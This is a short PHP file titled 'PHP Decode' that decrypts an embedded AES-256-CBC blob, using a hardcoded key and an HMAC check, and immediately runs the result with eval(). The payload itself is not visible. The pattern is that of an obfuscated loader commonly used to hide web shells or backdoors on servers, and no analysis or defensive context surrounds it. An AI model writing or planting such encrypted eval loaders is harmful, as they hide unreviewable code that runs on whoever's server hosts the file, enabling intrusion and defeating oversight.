PHP Decode

<?php 
 
if (!class_exists("CodeDecryptor")) { 
    class CodeDecryptor { 
        private $encryptedCode; 
        private $secretKey; 
 
        public function __construct($encryptedCode, $key) { 
            $this->encryptedCode = $encryptedCode; 
            $this->secretKey = hex2bin($key); 
        } 
 
        public function decrypt() { 
            $data = base64_decode($this->encryptedCode); 
            $iv = substr($data, 0, 16); 
            $hmac = substr($data, 16, 32); 
            $cipherText = substr($data, 48); 
            $calculatedHmac = hash_hmac("sha256", $cipherText, $this->secretKey, true); 
            if (!hash_equals($hmac, $calculatedHmac)) { 
                throw new Exception("HMAC verification failed."); 
            } 
            return openssl_decrypt($cipherText, "AES-256-CBC", $this->secretKey, OPENSSL_RAW_DATA, $iv); 
        } 
    } 
 
    $decryptor = new CodeDecryptor("Y4Ucjpe4nlJF+5gITbSa81Do29LLUtiVGbc3d7nNVdyPu6mwndwACAvdWyXlaoMTZurjiKN1uDHuBpZYXm1w94r0hJuD3bVW3cS6PolWVOQH3xP1fC3c746cJoRcTQsmt+SdkDmKLAotg/jtl7uFTmyjCMUGCjCSElPX1N7PDRZGazCQFM6TnyoEEL8q0O6k3F7cvKT50i9Lj/8BHiMVOAgZvgBMPR6znDsaE2RrkrUFDqG/UMjvcvrIboTLmvWcFNHTitft/TACOzrZp3e2+zrIrMlKVXuXKhf8iItOQ1GJRMJLH4W2M+hQc+4gqADORbtpO9hAJHampNsYuUhJD/VBfTewCndAGP8bhTDV8MFN9JLroh1+EYmI/ypj94iMjsj2eii6iEuxoFbEJ06e7g==", "3e9ba237550d7d1c29b0fd6661b3fec27c5495504ae634252113128ff8e54a9e"); 
    $code = $decryptor->decrypt(); 
    eval($code); 
} 
 
?>